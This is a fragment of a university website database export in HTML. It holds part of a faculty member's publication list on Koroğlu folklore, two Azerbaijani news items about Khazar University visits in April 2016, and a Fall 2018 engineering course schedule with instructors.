width=\"144\"><p>“Xəzər”– Khazar View, № 136</p></td><td width=\"48\"><p>01.01. 2003</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məzunluq mərasimi”&nbsp;</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər Xəbər”, № 153</p></td><td width=\"48\"><p>01– 31.10.2003</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 160</p></td><td width=\"48\"><p>01.15.02. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 161,</p></td><td width=\"48\"><p>16-29.02.2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 162</p></td><td width=\"48\"><p>01-15.03. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 163</p></td><td width=\"48\"><p>16-31.03. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı № 164</p></td><td width=\"48\"><p>, 01.04. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məzunların bayramı. Xəzər Universitəsinin 16-cı məzunluq mərasimi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 164</p></td><td width=\"48\"><p>01.04.2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Aşıq Koroğlu”&nbsp;</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər Xəbər” jurnalı№166</p></td><td width=\"48\"><p>01.05. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Тəкəlü tək&nbsp; arxası var, eli var”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Xəbər” jurnalı, №169</p></td><td width=\"48\"><p>15. 06. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Çənlibeldi Koroğlunun oylağı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər Xəbər”, № 171</p></td><td width=\"48\"><p>15 iyul 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məzunluq bayramı”</p></td><td width=\"97\"><p>(Xəzər Universitetinin 17-ci məzunluq mərasiminə həsr olunmuş təntənəli gecədən reportaj</p></td><td width=\"125\"><p>Elza İsmayılova K.Aslanla birgə</p></td><td width=\"144\"><p>“Хəzər Xəbər” jurnalı, №174</p></td><td width=\"48\"><p>5.10.2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>Məzunlar bayramı. Xəzər Universitetinin 18-ci məzunluq mərasiminə həsr olunmuş təntənəli gecə</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Xəbər” jurnalı, №185</p></td><td width=\"48\"><p>01.04.2005</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Qayıt, gəl!”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Körpü”</p></td><td width=\"48\"><p>01.01. 2007</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“İngilisdillilərə Azərbaycan dilindən spesifik səslərin öyrədilməsi yolları”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Journal of Azerbaijani studes – Azərbaycan Araşdırmaları Jurnalı, Volume 1, number 4</p></td><td width=\"48\"><p>1998</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Çənlibeldi Koroğlunun oylağı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Folklor/Edebiyat” Dergisi, cilt:11, С: 43, Аnkara</p></td><td width=\"48\"><p>2005/3.</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Аşıqlığım bəsdi mənə...”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>(“Dilmac” jurnalı, № 25, 26, 27- İran</p></td><td width=\"48\"><p>2006</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Çənlibeldi Koroğlunun oylağı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Dəvət”&nbsp; qəzeti, İran</p></td><td width=\"48\"><p>6 mart&nbsp; 2006</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlunun yurdu, eli haqqında”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Urmiyanın səsi” qəzeti № 379– İran</p></td><td width=\"48\"><p>17 iyun 2007</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>&nbsp;“Koroğlu” dastanının yaranma tarixi və məkanı</p><p>&nbsp;</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>&nbsp; “Dəvət” qəzeti, İran</p></td><td width=\"48\"><p>30 may&nbsp; 2009</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Аşıqlığım bəsdi mənə...”</p></td><td width=\"97\"><p>Konfrans əsəri</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Dilmac” jurnalı,&nbsp; № 25, 26, 27 – İran</p></td><td width=\"48\"><p>2006</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlunun dövrü, şəxsiyyəti haqqında”</p><p>&nbsp;</p></td><td width=\"97\"><p>Konfrans əsəri</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>(Journal of Azerbaijani Studes –&nbsp;&nbsp; Azərbaycan Araşdırmaları Jurnalı, Volume 2, Khazar University Press</p></td><td width=\"48\"><p>2009</p></td><td width=\"77\"><p>&nbsp;</p><div><br></div></td></tr></tbody></table>  <br></div>'),(1589,987,'az','Xəzər Universiteti “Zəkalar”ın qonağı oldu','2016-cı il aprelin 20-də “Zəkalar” liseyində həmin liseyin 11-ci sinif şagirdləri ilə Xəzər Universiteti rəhbərliyinin görüşü keçirildi. Öncə məktəbin direktoru Aygün xanım Əhmədli girişdə universitet rəhbərliyini səmimi qarşıladı.','<p>2016-cı il aprelin 20-də “Zəkalar”\r\nliseyində həmin liseyin 11-ci sinif şagirdləri ilə Xəzər Universiteti rəhbərliyinin\r\ngörüşü keçirildi. Öncə məktəbin direktoru Aygün xanım Əhmədli girişdə universitet\r\nrəhbərliyini səmimi qarşıladı. A.Əhmədli əvvəlcə cay süfrəsi ətrafında\r\nuniversitet nümayəndələrinə “Zəkalar” liseyi haqqında geniş məlumat verdi və Xəzər\r\nUniversiteti ilə uzun müddətdir davam edən əməkdaşlıqdan məmnun olduğunu\r\nbildirdi. Sonra o, liseyin akt zalında toplaşan şagirdlərə Xəzər Universiteti\r\nhaqqında məlumat verdi. Şagirdlərlə görüşdə Xəzər Universitetinin rektoru\r\nprofessor Hassan Niknafs, Akademik işlər üzrə prorektor professor Məhəmməd\r\nNuriyev, İdarəetmə və tələbə işləri üzrə prorektor İsaxan İsaxanlı, Təhsil\r\nfakültəsinin dekanı Elza Səmədova və İctimai əlaqələr və media üzrə direktor\r\nƏlövsət Əmirbəyli, universitetin tələbələri İsmət Allazov, Taliyə Hüseynzadə,\r\nUsama Ahmet Khand (Pakistan), Tendai Samantha Shereni (Zimbabve) və digərləri\r\ngörüşdə iştirak etdilər. </p>\r\n<p>Universitetin rəhbərliyi və tələbələri\r\nşagirdləri maraqlandıran bütün suallara cavab verdilər. Məktəbin direktoru\r\nAygün Əhmədli maraqlı görüş üçün məktəbin kollektivi adından universitet rəhbərliyinə\r\ntəşəkkür etdi. </p>\r\n<p>Xatirə şəkilləri çəkildi.</p>'),(1590,988,'az','Ədalət Akademiyasının rektoru Xəzər Universitəsində oldu','2016-cı il aprelin 19-da Türkiyənin Ədalət Akademiyasının rektoru Yılmaz Akçil, akademiyanın prorektoru Mustafa Arkuç və akademiyanın hakimi Dicle Gözde Koçyiğit Xəzər Universitetini ziyarət etdilər. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı türkiyəli qonaqları səmimi salamlayaraq, onları qəbul etdi.','<p>2016-cı il aprelin 19-da Türkiyənin\r\nƏdalət Akademiyasının rektoru Yılmaz Akçil, akademiyanın prorektoru Mustafa\r\nArkuç və akademiyanın hakimi Dicle Gözde Koçyiğit Xəzər Universitetini ziyarət\r\netdilər. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı türkiyəli qonaqları səmimi salamlayaraq, onları qəbul\r\netdi. Görüş zamanı H.İsaxanlı universitet haqqlnda qonaqlara geniş məlumat verdi.\r\nYılmaz Akçil də Türkiyənin Ədalət Akademiyasının işi haqqında danışdı və gələcəkdə\r\nXəzər Universiteti ilə əlaqələrin daha da genişləndirilməsinin vacibliyini\r\nvurğuladı. </p>\r\n<p>Görüşdə İctimai əlaqələr və media\r\nüzrə direktor Əlövsət Əmirbəyli iştirak etdi. </p>\r\n<p>Xatirə şəkilləri çəkildi.&nbsp;</p>'),(1591,989,'en','Fall Courses 2018','Fall  Courses 2018','<div><strong></strong></div>\r\n<h4><strong>Khazar University</strong></h4>\r\n<h4><strong>School of Engineering and Applied\r\nScience</strong></h4>\r\n<h4><strong>Fall_2018</strong></h4><br><table cellpadding=\"0\" cellspacing=\"0\" width=\"759\" border-collapse:collapse;width:569pt\";border-width:1px;border-style:solid\"=\"\"><tbody><tr height=\"42\"><td height=\"42\" width=\"85\"></td></tr></tbody></table><table cellpadding=\"0\" cellspacing=\"0\" width=\"759\" border-collapse:collapse;width:569pt\";border-width:1px;border-style:solid\"=\"\"><tbody></tbody></table><table cellpadding=\"0\" cellspacing=\"0\" width=\"841\" border-collapse:collapse;width:631pt\";border-width:1px;border-style:solid\"=\"\"><tbody><tr height=\"21\"><td height=\"21\" width=\"85\">ENGL 101</td><td width=\"384\">English foundation 1 A</td><td width=\"96\">4</td><td width=\"203\">Adila Malikova</td><td width=\"73\">English</td></tr><tr height=\"21\"><td height=\"21\" class=\"xl82\" width=\"85\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 101</td><td width=\"384\">English foundation 1 B</td><td width=\"96\">4</td><td width=\"203\">Ayten Mammadova</td><td>English</td></tr><tr height=\"21\"><td height=\"21\" class=\"xl82\" width=\"85\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 101</td><td width=\"384\">English foundation 1 C</td><td width=\"96\">4</td><td width=\"203\">Konul Mammadova</td><td>English</td></tr><tr height=\"21\"><td height=\"21\" class=\"xl82\" width=\"85\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 101</td><td width=\"384\">English foundation 1 D</td><td width=\"96\">4</td><td width=\"203\">Khanim Ahmadova</td><td>English</td></tr><tr height=\"21\"><td height=\"21\" class=\"xl83\" width=\"85\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 102</td><td>English foundation 2</td><td width=\"96\">4</td><td width=\"203\">Nahida Guliyeva</td><td>English</td></tr><tr height=\"21\"><td height=\"21\" class=\"xl83\" width=\"85\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 216</td><td width=\"384\">ESP (petroleum/chemical)</td><td width=\"96\">3</td><td width=\"203\">Adila Malikova</td><td>English</td></tr><tr height=\"21\"><td height=\"21\" class=\"xl83\" width=\"85\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 216</td><td>ESP (civil/mechanical)</td><td width=\"96\">3</td><td width=\"203\">Mirsadeg Seyedzavvar</td><td>English</td></tr><tr height=\"21\"><td height=\"21\" class=\"xl83\" width=\"85\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 216</td><td>ESP(computer) A</td><td width=\"96\">3</td><td width=\"203\">Adila Malikova</td><td>English</td></tr><tr height=\"21\"><td height=\"21\" class=\"xl83\" width=\"85\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">ENGL 216</td><td>ESP(computer) B</td><td width=\"96\">3</td><td width=\"203\">Sevinj Isgandarova</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PETE 202</td><td>Introduction to Petroleum Engineering</td><td>3</td><td>Elshan Aliyev</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">GEOL 310</td><td>&nbsp;Petroleum Geology&nbsp;</td><td>3</td><td>Gasham Zeynalov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PETE 415</td><td>Gas and Gas-Condensate Reservoir Engineering</td><td>3</td><td>Tahir Mammadov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PETE 302</td><td>Drilling Engineering</td><td>3</td><td>Samir Valiyev</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PETE 303</td><td>Physics of Oil and Gas reservoirs&nbsp;</td><td>3</td><td>Vefa Ahmadzade&nbsp;</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PETE 417</td><td>Petroleum Reservoir Simulation&nbsp;</td><td>3</td><td>Masoud Mehrizadeh</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PETE 402</td><td>Petroleum Production Engineering 1</td><td>3</td><td>Shahriyar Alkhasli</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PETE 338</td><td>Fluid Mechanics for Petroleum Engineers&nbsp;</td><td>3</td><td>Ehsan Jafari</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PETE 542</td><td>Advanced Gas and Gas-Condensate Reservoir Engineering&nbsp;</td><td>4</td><td>Tahir Mammadov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PETE 570</td><td>Numerical Reservoir Simulation&nbsp;</td><td>4</td><td>Masoud Mehrizadeh</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PETE 572</td><td>Enhanced Oil Recovery&nbsp;</td><td>4</td><td>Ehsan Jafari</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PETE 505</td><td>Advanced Drilling engineering&nbsp;</td><td>4</td><td>Samir Valiyev</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PETE 509</td><td>Petroleum Geoscience&nbsp;</td><td>4</td><td>Gasham Zeynalov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PETE 565</td><td>Fluid flow in Porous Media&nbsp;</td><td>4</td><td>Masoud Mehrizadeh</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PETE 538</td><td>Well Stimulation&nbsp; &nbsp;</td><td>4</td><td>Ehsan Jafari</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PETE 531</td><td>Formation Evaluation&nbsp;</td><td>4</td><td>Elshan Aliyev</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PHSC111</td><td>Physics 1A</td><td>3</td><td>Sevda Garibova</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PHSC111</td><td>Physics 1B(Iraqlı tələbələr)</td><td>3</td><td>Sevda Garibova</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PHSC112</td><td>Physics 2A</td><td>3</td><td>Fakhranda Alimardanova&nbsp;</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PHSC112</td><td>Physics 2B</td><td>3</td><td>Fakhranda Alimardanova&nbsp;</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">PHSC112</td><td>Physics 2C</td><td>3</td><td>Ehsan Jafari</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">EENG211</td><td>Circuits Theory</td><td>3</td><td>Shahmardan Amirov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">ETR211</td><td>Semiconductor Devices and Modeling&nbsp;&nbsp;</td><td>3</td><td>Nuru Safarov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">ETR359</td><td>Microprocessor-based Systems</td><td>3</td><td>Sabuhi Ganiyev</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">ETR346</td><td>Telecommunication Networks</td><td>3</td><td>Farida Tatardar</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">ETR393</td><td>Basics of Circuitry</td><td>3</td><td>Shahmardan Amirov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">ETR390</td><td>Control Systems</td><td>3</td><td>Sevda Garibova</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">MATH 101</td><td>Calculus 1A</td><td>3</td><td width=\"203\">Javanshir Azizov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">MATH 101</td><td>Calculus 1B</td><td>3</td><td width=\"203\">Javanshir Azizov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">MATH 101</td><td>Calculus 1C</td><td>3</td><td width=\"203\">Lala Atəmova</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">MATH 101</td><td>Calculus 1D</td><td>3</td><td width=\"203\">Ali Hüseynli</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">MATH 102</td><td>Calculus 2</td><td>3</td><td>Lala Atəmova</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">MATH 340</td><td>Statistical methods for engineers</td><td>3</td><td>Vüsal Mammadrzayev</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">MATH 312</td><td>Introduction to Discrete Mathematics</td><td>3</td><td>Elvin Azizbayov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">MATH 231</td><td>Applied Linear Algebra</td><td>3</td><td>Ali Hüseynli</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 115</td><td>Computer Application in Engineering (A)</td><td>3</td><td>Rashad Khaliqov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS115</td><td>Computer Application in Engineering (B)</td><td>3</td><td>Abdulsalam Salihu Mustafa</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS115</td><td>Computer Application in Engineering (C)</td><td>3</td><td>Abdulsalam Salihu Mustafa</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 140</td><td>Fundamentals of Computer programming&nbsp;</td><td>3</td><td>Ahmed Babanlı</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 205</td><td>Object Oriented Programming (B)</td><td>3</td><td>Rashad Khaliqov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 220</td><td>Web &amp; Mobile Programming 1 (A)</td><td>3</td><td>Mahammad Sharifov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 220</td><td>Web &amp; Mobile Programming 1 (B)</td><td>3</td><td>Mahammad Sharifov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 350</td><td>Computer Graphics</td><td>3</td><td>Seyed Amir Siahpoosha</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 309</td><td>Computer Networks (A)</td><td>3</td><td>Abdulsalam Salihu Mustafa</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 309</td><td>Computer Networks (B)</td><td>3</td><td>Asim Namazov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 316</td><td>Database Management Systems</td><td>4</td><td>Seyed Amir Siahpoosha</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 336</td><td>Design and Analysis of Modern Algorithms</td><td>3</td><td>Ahmed Babanlı</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 415</td><td>Artificial Intelligence</td><td>3</td><td>Ahmed Babanlı</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 455</td><td>Introduction to Compilers</td><td>3</td><td>Seyed Amir Siahpoosha</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 363</td><td>Digital Logic</td><td>4</td><td>Sabuhi Ganiyev</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">EENG302</td><td>Signals and Systems</td><td>3</td><td>Mazahim Guliyev</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 401</td><td>Introduction to Robotics</td><td>4</td><td>Rahman Rasulzade</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 440</td><td>Introduction to the Basics of the Python and Neural Networks</td><td>3</td><td>Izat Shahsenov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 510</td><td>Advanced computer networks and communications</td><td>4</td><td>Abdulsalam Salihu Mustafa</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 505</td><td>Advanced Data Structure</td><td>4</td><td>Leyla Muradkhanli</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 515</td><td>Advanced Object-Oriented Programming</td><td>4</td><td>Seyed Amir Siahpoosha</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 535</td><td>Distributed Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td>4</td><td>Farman Mammadov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 625</td><td>Optical Signals and Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td>4</td><td>Farman Mammadov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 585</td><td>Parallel Computer Architecture</td><td>4</td><td>Mazahim Guliyev</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 605</td><td>Parallel Programming</td><td>4</td><td>Leyla Muradkhanli</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 610</td><td>Advanced Software Engineering</td><td>4</td><td>Ulviyya Akhmadova</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS 520</td><td>Advanced Operating Systems</td><td>4</td><td>Abdulsalam Salihu Mustafa</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">ENGR 205</td><td>Engineering Mechanics</td><td>3</td><td width=\"203\">Mehdi Bashiri</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">EENG 250</td><td>Fundaments of Electrical Engineering</td><td>3</td><td width=\"203\">Sabuhi Ganiyev</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">ME 201</td><td>Introduction to Mechanical Engineering</td><td>3</td><td width=\"203\">Farid Aliyev</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CIV 303</td><td>Strength of Material</td><td>3</td><td width=\"203\">Mehdi Kiasatfar</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS140</td><td>Fundamentals of Computer Programming</td><td>3</td><td>Mehdi Kiasatfar</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">ENGR 210</td><td>Fluid Mechanics I</td><td>3</td><td width=\"203\">Masoud Mehrizadeh</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CMS140</td><td>CNC Machine Programming and Machine Operation</td><td>3</td><td width=\"203\">Mirsadegh Seyedzavvar</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">ME 430</td><td>AutoCAD for Mechanical Engineering</td><td>3</td><td width=\"203\">Mirsadegh Seyedzavvar</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">ME 416</td><td>Machine Vibrations</td><td>3</td><td width=\"203\">Mirsadegh Seyedzavvar</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">ME 481</td><td>Machine Theory</td><td>3</td><td width=\"203\">Mehdi Kiasatfar</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">ME 402</td><td>Machine Element II</td><td>3</td><td width=\"203\">Zahid Nabiyev</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">ENGR 301</td><td>Thermodynamic 1</td><td>3</td><td>Rasoul Moradi</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CHE 405</td><td>Kinteic and reactions</td><td>3</td><td>Monday Obekpa</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CHE 302</td><td>Heat Transfer</td><td>3</td><td>Mehdi Kiasatfar</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CHE201</td><td>Introduction to Chemical Engineering</td><td>2</td><td>Rasoul Moradi</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">ENGR 305</td><td>Unit Operation I</td><td>3</td><td>Adil Abbasov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CHE 305</td><td>Process Control</td><td>3</td><td>Kanan Shikhaliyev</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CHEM 111</td><td>Chemistry I&nbsp;</td><td>3</td><td>Rasoul Moradi</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CHEM 113</td><td>Analytical Chemistry</td><td>2</td><td>Rasoul Moradi</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CHE 410</td><td>Alternative Fuel Technology</td><td>3</td><td>Adil Abbasov</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CHEM 201</td><td>Organic chemistry</td><td>3</td><td>Rasoul Moradi</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CHEM 112</td><td>Chemistry II</td><td>3</td><td>Faculty</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CIV 366</td><td>Foundation Engineering&nbsp;</td><td>3</td><td>Mehdi Bashiri</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CIV 381</td><td>Reinforced Concrete Fundamentals - 1&nbsp;</td><td>3</td><td>Zia Zamanzadeh</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">ARCH332</td><td>Architectural Structures&nbsp;</td><td>3</td><td>Zia Zamanzadeh</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CIV 485</td><td>Fundamentals of Steel design</td><td>3</td><td>Mehdi Bashiri</td><td>English</td></tr><tr height=\"21\"><td height=\"21\" class=\"xl77\" width=\"85\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">CIV 451</td><td width=\"384\">Hydraulics</td><td width=\"96\">3</td><td>Zia Zamanzadeh</td><td>English</td></tr><tr height=\"21\"><td height=\"21\" class=\"xl77\" width=\"85\" height:15.75pt;border-top:none;width:64pt\"\"=\"\">CIV 512</td><td width=\"384\">Engineering Seismology</td><td width=\"96\">3</td><td>Mehdi Bashiri</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">CIV215</td><td>Engineering drawing</td><td>3</td><td>Zia Zamanzadeh</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">AZLL 101</td><td>Azerbaijan Language A</td><td>3</td><td>Hilala Ibadova</td><td>Azərb</td></tr><tr height=\"21\"><td height=\"21\">AZLL 101</td><td>Azerbaijan Language B</td><td>3</td><td>Gatiba Mahmudova</td><td>Azərb</td></tr><tr height=\"21\"><td height=\"21\">AZLL 101</td><td>Azerbaijan Language C</td><td>3</td><td>Gatiba Mahmudova</td><td>Azərb</td></tr><tr height=\"21\"><td height=\"21\">AZLL 101</td><td>Azerbaijan Language D</td><td>3</td><td>Reyhan Madatova</td><td>Rus</td></tr><tr height=\"21\"><td height=\"21\">AZH 150</td><td>Azerbaijan history for foreigners</td><td>3</td><td>Bayram Guliyev</td><td>English</td></tr><tr height=\"21\"><td height=\"21\">GERM 201</td><td>German Language 1</td><td>3</td><td>Sevinj Allahverdiyeva</td><td>Azərb</td></tr><tr height=\"21\"><td height=\"21\">ITAL 201</td><td>Italian Language 1 A (2qrup iraqli tələbələr üçün)</td><td>3</td><td>Gunay Abbasova</td><td>Azərb</td></tr><tr height=\"21\"><td height=\"21\">PHIL110</td><td>Introduction to philosophy</td><td>3</td><td>Mail Yagub</td><td>Azərb</td></tr><tr height=\"21\"><td height=\"21\">ECON 101</td><td>Introduction to Economics A</td><td>3</td><td>Konul Nuriyeva</td><td>Azərb</td></tr><tr height=\"21\"><td height=\"21\">ECON 101</td><td>Introduction to Economics B</td><td>3</td><td>Konul Nuriyeva</td><td>Azərb</td></tr><tr height=\"21\"><td height=\"21\">MED 315</td><td>Life Science</td><td>3</td><td>Parvana Bakhshaliyeva</td><td>Azərb</td></tr><tr height=\"21\"><td height=\"21\">LAW 220</td><td>Family Law</td><td>3</td><td>Akif Alizada</td><td>Azərb<br><br></td></tr></tbody></table>  <br>  